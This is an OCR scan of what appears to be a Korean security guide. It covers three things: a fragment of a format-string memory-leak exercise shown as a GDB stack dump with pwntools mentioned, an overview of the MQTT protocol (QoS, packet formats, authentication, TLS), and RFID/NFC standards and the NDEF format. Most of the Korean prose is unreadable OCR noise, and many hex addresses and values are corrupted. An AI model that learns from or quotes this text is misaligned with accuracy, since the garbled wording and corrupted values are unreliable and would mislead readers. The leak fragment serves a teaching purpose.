2f| X| A E r0 r1 r2 r3 sp sp+4 sp+8

info r

axfffefslc
0x0 0x0
oxboifd3en
axfffefsic
Ox10568
0x0
0x10400
Bxe

0x0 0x0
Oxo ox0
Oxff7eennn
axfffefsa4

Ox0

0x0

@xfbad2ag4
oxfffefsls
0x10528 0x10528
0x10530 6x160530
Ox60000010

0xo 0xo
0x0 0x0
0x40000000

exfffefslc

Oxboi1fd300
exfffefsic

0x10568

0x10400

exff7eennn
exfffefs44
@xfbad2ag4
oxfffefsls

<mailn+64=>
Ox60000010

Ox40000000

X/20wx S5ri11-40-0x10

Oxfffefsoc:
Oxfffef5slc:
axfffefs2c:
axfffefs3c:
Oxfffefbdc:

0x00000000
0x61616161
0x20702520
exbeifd3ee
exfffef6o4

ot Ze Y2 EU AERES HAEY|
Segt = QUL ot7[HIMO| et -z E
stA0 Y822 pwntools £ 0| 8310 &

Oxff7a3ef4
0x26762526
Ox000a7025
Ox00000008
Oxo0000861

160

Ox00000001
Ox25207025
0x00000000
axff669098
Ox00010470

a8 246. HX|AE Fol

Ox00000000
Ox70252070
Ox0oooo000
oxff7az2000
0x39292130

2850 memory leak, ®ot= FA2| HIO|H BH=E So| WML|NHX|
Al CIXHE MHSH= t”t“ol CHE & AAEZQ19] 22 91 x86-64
USH AAZZQ I EE 250 342 +=HSHH =IOt

EQAST

Exparts, Qualilisd Sacurity Taam



11. €H 2) MQTT &4 0| &

| -

MQTT & Message Queuing Telemetry Transport 2| 2AtZ SO HE Publish-Subscribe 7|8HQ| O A|X|
ZREZ0|Ch MQTT Z2EZ2 poling & MHAQ| CHEE JHM8L7| 9l8f push 722 HHHO2M,
Client/Server &4l CHA TA|X] S Ql(Brokens &3 S4X7F £ HAIXIE ZA(Publish)Std 4=4IX}7}
HA|X| S = (Subscribe)She EAIS AR ST}

MQTT £ TCP/IP Z2EZE 2[0M SE5IH M2M(Machine to Machine) & loT 7|7|2t G/W o] H&2 <IdH

AEEICH B, M E, network bandwidth 7t &2 ROME 2& 7tSotEE &A= ALt

11.1. MQTT

11.1.1. Client/Server
1) Client
MQTT & AF8%te Z208 L= TA[2 o MHO| Oiot HESA HAES 27t
- OfE2[# 0| HAIX|E 2
- OfE2[AH 0| ¥ HAIX|E T+=
- OfZ2[# 0| HO|A| = F&
- MEO|AM AHA SHA|

2) Server
00 Z2[AH 0] F HAIX|E HAISH= S2I0|AEL} =5t SEI0|HE ALO|OA SIHAL S ot
FXlojct.

- S20|AUES HERS HE HE

- SELO|AETE AA[SH O Z2(#H O] H T A[X] £

- 20| ES 75 8l 7= F& 2F NI

- S20|UE F=1t LX|SH= O Z2(AH0[M HAIX| HE

rir
[E
Hu
[
o
A
rr

10 Application Message : HIE®IZ0AM MQTT Z2EZ0] 2[5 HE /= H0|H
161
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11.1.2. Publisher/Subscriber

Publisher & Subscriber = Broker Of Ci$t S20|HERZ SZESHICE Publisher = EEE Yas7| 2ot Exo=
Subscriber = Topic & T+=517| ¢/t SH 22 Broker AH{Of| HZSICE StL} O] 2| Publisher 2 Subscriber 7t
Broker O HZBHA Topic & HAHSAHLL =g 5= QUCH ED T2 FEIO|AETL SILIS| FHE #+5E =
A0 1:N &4 & 7HsStet.

11.1.3. Broker

Broker = Publisher 2} Subscriber AFO[OA TAIX|E 22|51 FESHZECE Broker = Publisher 7F it
Topic 2 ZFX|2 L1, Subscriber & Topic 7| &2 2 Broker 0|l +52 28$HCt,

Broker £ CIYst ZF7F oM, MH|A, A0 M2} Hetst Broker & AFEE 4= QUCH CHEXH OS2 Mosquitto,
HiveMQ, Mosca, Rabbit MQ 0| UL},

11.1.4. Topic
Topic 2 Publisher 2 Subscriber 7} &, =g = U= MEZ sHAME F2E= AT #+ZE 7HELL
M2t CHEC| 717|858 REXE (e = A, B 712 AYE FLETF EXY L)
Sensor |/ Home / Temperature
Humidity
Office / Temperature
Humidity
1% 247. Topic 74
olYE FIE 2 3 oA
'+'E ‘ol"_} HOl Eulg O|O|O| EJ.LIOE [Hx-” (=13 A OI|:_|-
+
ex) Sensor/+/Temperature (2 {X[2] 2= 5 H|3)
#2 o7 2ol ELE iME = UoH, Fx7 OX|2of| ALSE 5= ULt
#
ex) Sensor/Office/# (Office 2| 2%, & M 3)
§ '$2 ARGt ET2 ALHEO o5 A El= S50 EEHOZ #2E XY
ESE|X| =Lt ex) $SYS/
ETS AEY I R 7HX| FolAt0| RACH
o9 EEO| /22X = AIZSHH ETO| 0| & gl= ETO| T|O{H2ICt
ET 0|50 39 2Xt7t Zghe|H otEICt
- EH 0|22 E| =2 ASCI 2XI2H AFSSHE 2 SHCh (B 2HY)
L #0Z £T HHE TS P ST LMol mRHAT FEE 50| Yct
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11.2. MQTT QoS
3 7HX| QoS(Quality of Service) Bl'#E HSotCh MH|AQ| ZFO| wat st QoS 2ES MEHS|AM MQTT
EAIO AoHoH:|-

QoS L&
0 HAIX|= of HEF MESHH =41Xt= OAIX|O SESHA| @=Lt
HA|X|= o & O] A MESIH Subscription 8t client 7k ACK S IS X AlZH LHO| MEHSIX|
1 Hom OIAXIE CHA| MEDICH =AX= SY3E HAXIE o2 4T = Aol AE
Ij1|)\|7(| S M HAIXIZ #S8tD ACK TS SE o2 HMEtstot,
client & Y2 HAIXIE Hs| of H A = JAEF B AAXt= $=4IX7F PUBREC

t
(received)HIAIX|2 SEHE [7tX| Z|CZICH PUBREC HIAIX|E 2tO @ f£AMXIIF 2RSS L
Cog D1|A|x|§ HHESSHR] %1 PUBREL(Release)2 SETH T  F=4X7F PUBCOMP
EfStZ 7|CHEICH PUBCOMP MAIX|E o™ O[O XM= MEHE X|2Ct
&4 H| 80| G0l st =t

Prades EI1IA|7<| oj200] CHt LH-82 11.4. MQTT Packet Fomat Ol A & M| CHE o FO|Ct.

11.3. MQTT Connection

MQTT & TCP/IP E AFESI0] S4IStCE M2t TCP AZEZ =+
EC0|UEE HE27{0| HASI HO|HE ELfX| $Eet: HZ MEfE FXIBHCH
k=1

AH8SHY HZE2 =lgtr
MQTT 22t0|AEE= S2H0|AUETL T AALO ASS E=2AH0| L= HZE /A HAXE F7/H2=z
HEeC)

QoS Of et @K OA|X|of 2 S of &7} ZatRIct 2 QoS 0 9 22 PUBREC = MESIX| Y=L} CHS
J22 QoS 1 ¢ o] & AE{O|LCE

Publisher E’cke'_ Subscriber
CONNECT
CONNECT
CONNACK
CONNACK
SUBSCRIBE
SUBACK
PUBLISH = il
PUBLISH
PUBACK
PUBACK
DISCONNECT

112l 248. MQTT Connection
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11.3.1. Client name, Client ID

DE Z2io|MEE Z2lo|HE 0|F £ ID 7t RSICE Z2I0|HE 0|52 MQTT EE70N 715 52
FHS=H AMBElE 17 U0ICt 7[E SE20|HAELQ} STt 0|ELE MQTT EEA0| AZAS A|ZSHH 7|E
Zel0|HE HZAL2 ZOZICt o|if, CHE22| MQTT S2I0|HEE A4 dix & MAZS Al=s7| &0 oA
SR S A RmTp EdEh & Qct AZ0| SiME W OCh resubscribe & ZEsokstE 2HE msh?| £l
22t0|AEE 227 HZ A Clean Session Flag £ false 2 A7 3}0] persistent MM S 271% = ULt

11.3.2. Clean Session

Clean Session Flag = E27 0| 220|HEQ| persistent Al A OJEE L2{FLt Clean Session Flag 2|
20| false & Z2 persistent M40] HHE|D, persistent NM0| B™HE AP clean session 2 QX7 M|

BE SE HAIXZF HFECH HAO| SHM =[O = HO|H7F AN HHZES A ESHX| QEOtE EICH

Clean Session 2 MQTT {0 2} XO| 7} QUL

1) MQTT v3.1.1

Clean Session 0 : A1H'|i Client ID 2f HZE MAS ALESHY 22t0|AELLS| SilS MIietEt M0l gls 8%
MEHE M s 250 HZ oM = MM HEf= SE0[AELF MO HE T,

Clean Session 1 : EEfOI EQot MH = Ol MHE 2F X212 Mf M-S THELE MUel +8F7|= HER/A
AZD ARSI MY JEi= =5 MU0M AL Z|E etElCH

2) MQTT v5.0

Clean Start 1: 22I0|UER} MH &= 7|&E MHE 25 He|D M MES AlZfstct,

Clean Start 0, Client ID ¢t MM EX : M= MM HEfOf M2t S2t0|HEete| S+l TH7H Bt
Clean Start 0 : MH{= M MM S HdotCt

11.3.3. Will Message
Will HIAIX[= MQTT 2| LWT(Last Will and Testament)’| 52| @22 S20|UETL HIFSXo =z AZ siME O
Ct2 S2to|EoA L2Ict Z2to|HEI FALZH Connect HAIX| LHOIA MQTT HAIX] X EZO| YEjZ
B2AH0A will HAIXIE M3 = AUCH S2H0|AEQ| AHO| HIFHEHCZ HOX|H BE27{= Z2H0|HEE
CHAISEO] LWT HA|X| S 2L

11.3.4. Keep Alive

Ado| H¥E W ZI20|AEI X|Fote EHERH &
SEOIUEZE HAXIE EHUWX @ AY = U= 71 2 Al
HAIXIE EEHO|AH EW7|E2 Ld£st0, E27= PING SEHLE SEHBTICL 0 WHOE ME AE 7HsTHA|
ghole 4= QUCh

MQTT v5.0 € [ Session Expiry Interval O] 0 O|AL} X|HEX| %2 42 UHESI HAO| HI|IH ANMO|
SEECHL MA Bt 7F4 0| OxFFFFFFFF O AMM0| Btz E[X| o, HESA HAO| HE M Session Expiry
Interval O] 0 2CF A S2t0|HEQL M= M HENE X FSHOF SHCt.
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11.3.5. CONNACK Message

HZ7{E= CONNECT HA|X|E 2o
S=0| Z =t

(=]

1) Session Present Flag
EZA0A O 2:2to[gEge
SEHO|UEOA Y=Lt 220

| &=
|

(=1
S

I§20i| Session Present Flag =
T 7t 7t5-80] ULk

- Client ID Of T3} MM HEE ALRE
BRI MM HRE A

o
o T

2) Connect Return Code

A
T

AR ALY %

(o]}
A

74

[
— ©

CONNACK HA|X| 2

AET} Clean Session &
2 false O|Ct. 22t0| ¢

o
M

orC

o

i 5§ OF SFCH CONNACK HAIX| 0= & 72| T Ol &

ol -
A=

persistent A[A0| 0|0] EX{SH=X|
true 2 H7SI0] AHGHH AL 7t *ﬂ**OI

false 2 27851 AZst= H2

E7} Clean Session &

A ANz 45 O|RE S2O0[AENA LeiFs ZEZL =2 E(0] UL
Return Code a9
0 AE &
1 AE AR LK e ZEES HH
2 AZA HE: AMEX HE
3 A2 AR MHE AL 8Y == gla
4 AZE HE: AEXIO|E & Y27t HRE
5 AE HE: SLX| %S
165
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11.4. MQTT Packet Format

Packet X #+ZX& @8t 20| Fixed Header, Variable Header, Packet 2| OtX|8f 220l p
AL2M, Fixed Header = 2= I§ZI0| EXSHCE Variable Header 2t Payload 2| =27|=
Header Off F2|%|0f RUCE MQTT If2l &&= CHS1F 2L}

7 6 5 4 3 2 1 0
DUP QoS Level RETAIN
Remaining Length

ayload 2 O|20{X
7HHX 0| Fixed

Fixed
Header

Message Type

Optional : Variable Header

Optional : Payload

a3 249. MQTT I{Z! 1=

11.4.1. Fixed Header
Fixed Header = 2 MQTT I{Zl0f EX|SIH 2byte 27| 7tTICH BE 742 Message Type It 02 Eefj1=2
TEE0 e, BE HO|H g2 HAC|IA 2 |0 QAL

11.4.1.1. Message Type
Message Type 2 & 28 RS LIEIHCE Message Type 2| 2 ¢{2 AMZ CHE HZ Y S LIEHLH
4 bit O|Ck Ctg E= HIAIX| 22 gtdt 10 [HE FHES LIS}

rir

N

0|

o|& o ek Ck
Reserved 0 - ol <f
CONNECT 1 Client to Server oA 9H
CONNACK 2 Server to Client A4 s¢l
Client to Server )
PUBLISH 3 ' HA|X] publish
Server to Client
Client to Server N
PUBACK 4 ) publish = ¢!
Server to Client
Client to Server publish =41
PUBREC 5 , ,
Server to Client (assured delivery part 1)
Client to Server publish E2|=
PUBREL 6 ' ,
Server to Client (assured delivery part 2)
Client to Server publish =
PUBCOMP 7 , ,
Server to Client (assured delivery part 3)
SUBSCRIBE 8 Client to Server £ 20| E subscribe 28
SUBACK Server to Client subscribe =0l
UNSUBSCRIBE 10 Client to Server 2210 E subscribe 4 28
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UNSUBACK 11 Server to Client subscribe F{2& =0l
PINGREQ 12 Client to Server PING 28
PINGRESP 13 Server to Client PING &
DISCONNECT 14 Client to Server SEO0|AE AZ S K|
Reserved 15 Forbidden of| of

11.4.1.2. Flags
3709| Flag 7} 220 DUP, QoS, RETAIN O] UL},

1) DUP

DUP = 1bit 37|2 Z2l0|YE = AT} PUBLISH, PUBREL, SUBSCRIBE S UNSUBSCRIBE Tf|A|X|E CtA|
MEste{n & mf dEECH QoS 440 0 ECt A1 50I0] Hast HAIX|of ME8&|0, DUP HIEJt A EH
Variable Header 0| Message ID 7} Z8EICH =4Xt= O| Flag & HAIX|7} O[O =AE|RA=X] O F0f CHS
2 AMESHCL

2) QoS Level
O| Flag & PUBLISH T|A|X| 0| CiSE QoS 4t= LtEFHCE

3) RETAIN
RETAIN & PUBLISH T[A|X[0||M2H AR EICE Z2t0|AETF PUBLISH £ MH{O] 2% O RETAIN Flag 7t 278 &
B2 MHl= HAIXIZF A3 EXHOIA HEE £ HAIXIE MYSCL MEE HAIXE =27t #3518 MH =

MEE mizls EEeCt RETAIN Flag 7k 0 Ol MH = TjZlS E/5HA| =0

11.4.1.3. Remaining Length

Variable Header & Payload 2| HIO|E{E Z&tSt] Al T2l L{O| HOIRA= HIO|EL| =T M HA|IX|e| 27)E
A L7 8l AFESICE 8 bit B 1 bit £ Remaining Byte & AMSE ZHOIX| AFSI7| 8 A3, MQTT 0| A
CHE == A= ZOH HA|X|2] 27]= 256M O|Ct.
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11.4.2. Variable Header

Variable Header & Packet 2| R0 M2} ZatL|X| AALI BE FM40| FHatZICt 7| M= Variable Header &

TG A8 WES AO0LE D 11.4.4.1. CONNECT Packet 0| Al X}M|S| CtR = ShCt

11.4.2.1. Protocol Name
Protocol Name 2 UTF-8 2 QIFYE EXE(ZZE
Z 0|},

111
djn

Ol

11.4.2.2. Protocol Version

)2 ZHEICE MQTT CONNECT HIA|X|Off AtEE|=

SCIO|AHET}L AMRS= ZEEEZO| i Y2 LIEt= &= 9= 8H|E ZfO|Ct MQTT CONNECT O A[X|Of

A8 &l= EEO|CH

11.4.2.3. CONNECT Flags

Connect Flags BIO|[E= MQTT A2 &2 X|dsts B2 07 HEE =

LHE}EHCY.

11.4.2.4. Topic Name
MQTT PUBLISH OIAIX|0f| ZEEtE|E= ZEZ Payload O ZEHE
O|S0|C}. UTF-8 12 H 0| £|0f L1 32,767 2 ZO| H|zHo| UL

I

11.4.3. Payload

E

Packet | 7O et XA E|X| S 4= ALH LHH 2 HEE|= HO[E 7t
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11.44. 0% FFE I3l =
Ae To| PEE MHECL 2 HAS PHSHE Header 9 Field 52 %A 49

2|
7o E X0l E SH2 =2 2ttt

rot

HLfEa HZEH, T2l

11.4.4.1. CONNECT Packet
CONNECT IfZl2 TCP HZO| 7Y = S20|HAET H2F/MHOIA 2= A HA ZHZ0[Ch. CONNECT
I§ 22 Fixed Header, Variable Header, Payload 2 T4 /0f QILCt.

1) Fixed Header
Message Type 1t Control Flag 2 7’4l Control Field 2t Packet Length 2 T &[0 QULCE

Control Field

Remaining

Message Type Control Flag Length

112! 250. Fixed Header T+

2) Variable Header

MQTT T§Z S LtELLHZ| 2|3 Protocol Name Length 2F Protocol Name 2 0004, MQTT £ 1 HE|H HAL £
BICt Connect Flag & 278 % m{zl FF0| a2t HFECH CONNECT IHZe| % ALEA EEZL ZRSHK|
%O, Clear Session 1t Last Will HIA|X|7} @€ AL 02 7} =ICt.

User Name

Jos P“FS,:’;"’ \ WillRetain | Will QoS(1) | Wi QoS(Z)‘ Will Flag | colean | Reserved
Protocol Name | Protocol Name | Protocol Level | Connect Flag Keep Alive
Length Byte

loo|oa | M| | T ] 1]

12! 251. Variable Header -

3) Payload
CONNECT {2l 9| Payload 0| = S2I0|HE A&}, ZO|, Password 0| Zg (0] ULt

Client ID . Username ) Password
Length Client ID Length User Name Length Password

1% 252. Payload T+
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11.4.4.2. CONNACK Packet
CONNACK Packet 2 E27{7} CONNECT 28 IjZlE 23S
O§Zl0j= Fixed Header, Variable Header 7} ZXjstCt 11.3.

Message 7} Z g EICH

4% S20[¢ERZ Elf= TZI0|Ct CONNACK
5. CONNACK Message Of ZfdEl CONNACK

11.4.4.3. PUBLISH Packet
Publisher 7t H&SAHLE E27{0)|A CIO|HE EL{ Xt & I MESHCH LAlSH= D1
Ol S22 TFdEICL 'HELLOWORLD'2H= MAIX|E HAISH= TEST topic 2

¢ >
>
o
=
=
- A
10
N
o
i
@)
©
(@]

Ch=ah 2t

Control Field
Topic Length Length

|30|12|00I04|T|E|S|T|00|0A-|H|EIL|L|0IW|OIRIL|D|

Message

Topic Name

Remaining
Length

18! 253. Publish Packet

11.4.4.4. SUBSCRIBE Packet

ZCtO[UEZ HO|HE &7 ?I3 2=2H0A HELLL #=5t12A} oh= Topic 0|F1f, Topic Z0[, QoS 2™

1
= Chsah 2t

S & FYEIC TEST topic2 QoS 22 022 7153 42 MEE = 12l
Control Field Requested QoS
T _ PacketlD Topic Length I
| 82 [ 09 oo o1t [ooJoa ] 7] €] s | 1] oo]
l ) Topic Name !
Remaining
Length

18! 254. Subscribe Packet

* &1 http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/errata01/0s/mqtt-v3.1.1-errata01-os-complete.html
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11.5. MQTT HQt
11.5.1. AL X} Q1E

MQTT = AH8At O|E/IjAQE, S20|QE ID, AZME 0|83 AHEX QIS5 S &Y = ULt
1) User Name/Password
MQTT Z2EZE2 2ES ¢l CONNECT HA[X|0] AtEX} O|F Sl H|ZHS HEZS MSotCh S20|UE=
MQTT EE70| HZAY I ALXL O|F1 A2 E HEijle= SM0| LCE 7|22 HE5t= MQTT AHEXA QI5E
AHESHH MQTT EE2H7t foiE Q15 HAHUSE 7|82 Xt4 SFHE &5ta otE ZEE dtersirt
Bigt 3T 493

0 AZE 5 &

1 AZE HE  AIEX 0|8 £ Y27 EHXRE

2 A4 HE  SUEX &S

2) Client ID
20| E = MQTT CONNECT HA|X|2 22t0|AHE ID & 2270 A XN SetCt. 22t0|AE T} topic & FEoHH
B2H= 220|HE ID % 7Y FHE 7|AdICt 220 E ID TS 0|83t AHEX} 215 E 2

YE2 = LR &2 ALEA O|F, AR EE 0| 8¢t 2151 20| AHE Lt

o 2l

Jbg oM 2ElO|E 9F WHOIX|B THO| =Lt BalolEs Tis WSHoYL S S
S270|A AZME NBCL Y BRAL B0 AS A0l ASN HE ASS 38| SO
B27)E SN0 BE HEE 9D 95 SYO2 A 4+ Ut
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11.5.2. G|O|E{ HOt
1) TLS/SSL

TLS = MQTT 7} OtLl TCP/IP Z2EZ9| YLO0|Ct TLS & MQTT HAIX|Z7t M&EE = Je L=3tE OiojZE
HEote A2 HAIX] HO|2E#TF OfL2t MQTT HAIX|S| B& FE8 EZSHCt TLS 4 Al 20| E
X| 0| HRdtrt,
2) Payload &=3}
HOo|z2E Yzzt= E=ZH7t O OfZ2[AH 0] 2fEOM +HELCE HAE IS AOtE Y2 otE
HIOIHE AL8Y == UL EZEF{et Z20[QE 7t A23trt o B 7H A2oE Sotct Offt o[2E
L2ote A KA A2 (AL AE E25IX| =0t HO|2E A=t TIS & &/ AFEE &= A1 HO|EE
L2 Al 21BN 20 S/ 7|8 AHEE = UL
3) HIO|E| &
MQTT HIA|X|Of Ciet HiO|H fZ2d2 OOl F2d dAtE Solf 2 elg 5= UCH MQTT PUBLISH Ti 22 2l 9
88 =Qlste CIX|Y MY/MAC/Checksum 8 = U A AT AN O 2 HO|ZE0| F=7HE Ct
mj 2l =AXt= AT E XY A A/A S50 HOo|Ho| REEE =ole &= ULt
Checksum MAC CIXIE ME
ooy F24d @) 0 o)
oI X @) O
Non-Repudiation X X @)
Key =) o HI CH &
11.5.3. @ N of
glaA0 ofe M2 dets XF5t £ 2|laAF AFESHAHYU MY Jts £ Hoiste ME ALY =+
UL Crefot | HH0| AFE LM, Aot 20 2 Ch3at 20t 22740 EEfEf X &st= Mo g¥o| L&
2 9Qlr}
o|& 493 Ol Al
ACL 2 Z|22E #H3 FFI AFsd
ACL(Access Control List) 2lAA0 2 = U AR = 7HSSH | Unix I #Hot
LS BAISH.
RBAC & S4 2laA0| Cfgt Hohks It
RBAC SiZsiCh oise AFRXt9 FAx 7Hol SFLinux, PostgreSQL, Active
(Role Based Access Control) =m0l A o|ct Directory
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12. €A 3) RFID/NFC & M|0] 2
12.1. RFID/NFC 7 &
12.1.1. RFID

RFID(Radio-Frequency Identification)= £M Fot+& 0|8
HMoE o|g8s H AHz[(ECH 100m)olN HEE oM £ 9 =
RFID & 17 FE7t &7l RFID Tag, HIOIH &5+4& && QtHIL, Tag 9 JE
AMAEIE HE|Sts ZAER K0 QUL RFID Tag & %

CHHILEZE LHE =[O RACE

RFID = AHE FIb=0f et ChZar Z20] &I

- Low Frequency (LF, &2 FIt==) : 30KHz ~ 300KHz He| AHE. CHE22| LF A|AR2 125kHz Ol S

- High Frequency (HF, &2 FLt==) : 3MHz ~ 30MHz B?| AHE. HiE22| HF A|AE-2 13.58MHz 0| A S%

- Ultra High Frequency (UHF, 0j% =& It=) : 300MHz ~ 3GHz H?| AF&. UHF Gen2 BEE A|AHEIE2
860MHz ~ 960MHz Of| A &%t

LF T2 30kHz ~ 300kHz o FhtE X|QSICE LF RFID A|AE2 125kHz O|A SESHR| 2 134kHz O A
SESE AlA"”E QCH O] Fht Y2 10cm O[Lfol H2 mE HPIE XMSoiH, HF 2Ot 97| =7t
2| X|2 Mop Zhd o 2t £40] UL

HF Y2 3MHz ~ 30MHz Q| FIt=Z X[@otCt CiF-E2[ HF RFID A|AR2 10cm ~ 1Tm 2| E= H|0|A
13.56MHz 2 SAtsiCt

5 FHZ2 8IS0 15693 & X 2H2| SA(NFO)2 I8t ECMA-340 % ISO/IEC 18092 E &=t
RFID EZEO| QUL CI2 BEQRE A

14443-B, FeliCa JIS X6319-4 7} QUC}.

#2 03 HF
OLE 7tE0| AL E|= MIFARE 7| =00 CH3F ISO/IEC 14443-A & ISO/IEC

7 EQST



12.1.2. NFC

NFC(Near Field Communication, 242| 24 EL:)=

aotel ¥ Azt MY AH|Z M2 Yol BEE
7|=0|C}t, YHiMo =

H&ot=0l Mot gl 74 AZ ICh A = cm O[Lof 7[7|5& SX|AA ol 7|7]
HEotn oot FASHFUY) 42X ES 7tsstA ot

NFC OH%E|71|O|*401IE HIEEA EMMY, OO/ ngh WIAN & =&t 7|s9| ZhasteEl 4780| ZE
NFC & & BZ HL MOl R ZYsS 7|2z o5t H MAXH2Z 0|8 7Hs% Unlicense ISM

CH < (13.56MHz) 01|A1 Z+E 3L 106kbit/s, 212kbit/s, 424kbit/s °| HO|E &= & X|stLt

NFC &4 Z2EZF 8 O|0|H ngh HA2 ISO/IEC 18092 2| 7|E RFID #ES 7|E2 2 BtC}
- ISO/IEC 14443A 7|8t NFC-A

- ISO/IEC 14443B 7|2t NFC-B

- FeliCa JIS X6319-4 7|2t NFC-F

oloff ek NFC 7|77t 7|& THA|E 13.56MHz RFID Ef % ISO 18000-3 Of|A QIE{H|O|A0] & H|IFZA]
AOLE FhEQF SEHEICEH NFC O HLH™ E410|& Initiator 2+ Target O] ZRSICt Mo FZE = NFC 77| 2+
QHE|E F4IO| 42 Initiator & Target O] #HZHot ZtZto| WEE '%?;”3._“3. IAIE S4 BEQ| AL Bt 2
I§A|E Target Ol Initiator(ex : NFC Z|E)0M s&E2E XN35t= RF HEEE S =0 East M™s
Z0{2Ct O] ZE0|AM NFC Target 2 H{E{ 2|7} HRSIX| Q7] W20 AE[FHt ZE Oj ZtEst FEfE TS =

ULt

4 N
Type A Felica 'SofT'EC 14443 ISO/IEC 15693
: ype B
(Mifare)

XIFIE MEFIC £ y 22 A0 S0 1C B
aFC MBFIC = ) FSE, TS 2 ex] HTHHE 5 ID7IE @) 85, A SAICH
ex) RgFtE HEFIE &

-

]
1
1
'
i ISO/IEC 14443
i
]
1
'
1
1

e e e R R R M e M R e M e R R R M M R e mm e e e e

12! 255 NFC Efel
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12.1.21. 8& RE
1) Reader/Writer

ISO 14443 % FeliCa #40t 28tk[= NFC 7|7|= A0HE ZAH, AE[7 Es GaA20] SgE Bl E 0|
SEEXA e NFCE

=
ex) A0LE ZAEQF Z

2) Peer to Peer

ISO/IEC 18092 T+42
W2HStALE WLAN 2
ex) 2l Zt HOJH H&

A MAS O[&dt= F NFC 77|17} HO[H (7t e = CIXE AITHE

[=] =

[
nx N
oz
]

3) Card Emulation

r

NFC Reader Ol Al X E & HIOIHE &0 7|E Al2 WO M HIF A ZX Sl 20| 7HS3tLt.

= =2
ex) AIBJIE, WETIE, HHY JIE S 24F 7jc

( Peer-to-Peer Mode W ( Reader/Writer Mode w ( Card Emulation Mode A

[ Application Documents (i.e., Bluetooth SSP using NFC) ] Applications

| RTD (Smart Poster)
RTD (Text, URI, Signature)

NDEF ]
[ SNEP ] Tag 1-4 Type
[ LLCP ] Operation

Activities

Digital Protocol
RF Analog

12l 256. 28 2 E
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12.1.2.2. NFC 28B4 X
1) Core Protocol
- RF Analog : NFC E2|& A ES F2lotrt.
- Digital Protocol : NFC =2|H A E1} 7|2 H& Z2EZS FoIott
- Activities : EHE NFC ZX[2F NFC S48 233t= 31

2) Logical Link Control Protocol (LLCP)
FIHel NFC EX| ALO|O|AM peer-to-peer &
2toh= EE NFC OfZ2|AH o0 E=F 0l

r=

I e
FES o5, 3719 A MH|A Zejaz P ECH

- connectionless service only : 412[d0[L} S & KO £EF 20| x[Ate| BT XS SHCt

- connection-oriented service only : &=Af, 2HEEQl HI, SEMO X MM 7|8e| MH|A AE HE[ZHLS

Z7p3het

- both connectionless and connection-oriented service

LLCP £ 4HY HEFE IEEE 8022 £ 7|HIC R ot AW ZEEEE 7IHR It ™SI 20| HojE ME 2F
Ag 747 22 ofZ2|A0|410|Lt OBEX 2F TCP/IP 2t 22 HESI ZEEFS K|S0 ofE2|AH 0| M0f O
=kl 2 248 MSTHCh NFC LLCP = 7|&E2| NFC Of Z2|7|0|M0o|Lt HAMo| 8= 280 F&E DX X|
Of 1, ISO/IEC 18092 7t MSdotE 7|2 7|52 TetstHA, peer-to-peer O Z2|AH 0| M0j| CHst 7|82 K| STt

—

B>

OHm

3) Simple NDEF Exchange Protocol (SNEP)
SNEP = NFC C|H}O|A 9| O Z2|#|0|M 0| peer-to-peer ZE0A| CF2 NFC C|HFO|AQL NDEF HA|X| & meket %
UAEE 5{8tCt Ol Z2EZ2 FEH QI O|O|E WetE MIS5t7| fI8l LLCP HE X|g HE ZEE ALETtT}

4) Tag Type
Tag Type 2 NFC ZH0|AM 223} Tag ZHES o|0|5tH Ef 19} A4S Z83t= NFC reader/writer X 22 X|0f
’ls& Telote O 2adt 7|8 JES MSSCL of #2429 =X2 NDEF HA[X|S NFC oM 91 2=
LS Zolot= A0|C
-Type 1:NFC-A & 7|22 2 8} Innovation Topaz MIZ0| Al AFREICt
-Type 2 : NFC-A £ 7|HtO 2 SHH NXP 2| Mifare K Z0f| A AL EICH,
-Type 3: L& AR EF(IS) X6319-4 2 S8HE|= NFC-F S 7|HHO 2 sict
- Type 4 : ISO/IEC 14443 A|2| =2t Z2tk|= 1SO H|O|H Wt T2 & Z(SO-DEP)S 7|82 2 I} O] ZEEZ2 NFC-A =
NFC-B & 7[Ht2= it

5) NFC Data Exchange Format (NDEF)
NDEF 7|& 42 NFC O E2||0[ M o[ 2| #FE HAIZ X

OH

SHLY.
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MNDEF Message

MNDEF Record NDEF Record MNDEF Record MNDEF Record

Header | Payload | Header | Payload | Header | Payload | Header | Payload

TMF + Flags Type Length Payload Length | Payload Length | Payload Length | Payload Length ID Length Payload Type Payload ID
(1byte) (1byte) (1byte) (1byte) {1byte) (1byte) (1byte) (variable size) (variable size)
Vesage | Mesase | cuuncrisg | S0 | o angn | e Nane
{1bit) (1bit} ST {1bit) Tz Tl (3bits)

12! 257. NDEF 7|& 14

- Message Begin : NDEF HA|X|2] & g2 E

- Message End : NDEF HA|X| Q| OFX|9} 2=

- Chunk Flag : StLto| HO|ZEE 04317H°| HAEZR LIFOf TS 42 A8

- Short Record : 82 HIE7} 1 & A2 Payload Length = 1byte, 0 ¥ 4% 4byte
- ID Length : 3i{E H[EZ} 1 & A2 Record ID =X

-TNF : Et¥] 0|8 BE

TNF # 23
Empty 0x00 HO|ZE7} Q&
WKT(NFC Forum well-known type) 0x01 NFC Forum O A Folat EFY Al (ex. URI, Text ..)
MIME (MIME Media type) 0x02 MIME Et® Al (ex. plain/text, image/jpeq)
URI 49| DTD Lt XML Schema EFSZ AtE
AURI (Absolute URI type) 0x03 ]
(ex. http://www.w3.0rg/TR/html4/strict.dtd)
NFC Forum OllA Holot HA|0iE 9|9 EtY HAIZ
EXT (NFC Forum external type) 0x04

=0 A (ex. startnfc.com:U)

Unknown 0x05 2 &= gle gAlo Io|2E

HOIHE o2 =22 &0 T&ES= 2% o
22 EtYo|2ts WS LIEHH

Unchanged 0x06
20| Efln

- Z
Reserved 0x07 T2 ANES fe o<

6) NFC Record Type Definition (RTD)

RTD AH 2 NDEF H|O|H HAIE 7|HIO 2 3t 3rd party 2 NFC Forum OHEZ2|AH0|M Ho|of| ot BF
EtRint HAlS gttt HAIX] HA0] Foeln S {8 n2{E0{of 5t ZX2l siZS 2lok
ZAEQL 22 22 MO 2o ugto| Hash AHo[A0 ofjE2[AH o 2#el #H0| SLSILt RTD
MZ2 OfE2/AH0|Mel HIAE HAS RE8XC2 Fo/g = AUz WS M35, AHX7E NFC Forum
7|8t = ot ALEXF OfEE|AH0|HE HdY &= U= 7I2E HSSHCL

ex) Text RTD, URI RTD, Smart Poster RTD, Generic Control RTD, Signature RTD, Device Information RTD

=)

> 1>
=T
m n

rir m
[>

&
mo rlo
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12.1.3. S& 31X
NFC CHE2|0l= ®7|7t 3550, XHHo 2 XH7|&E YMA|Z|2 QUL 0| 20| E{IE 7FMLCH CHEH B &
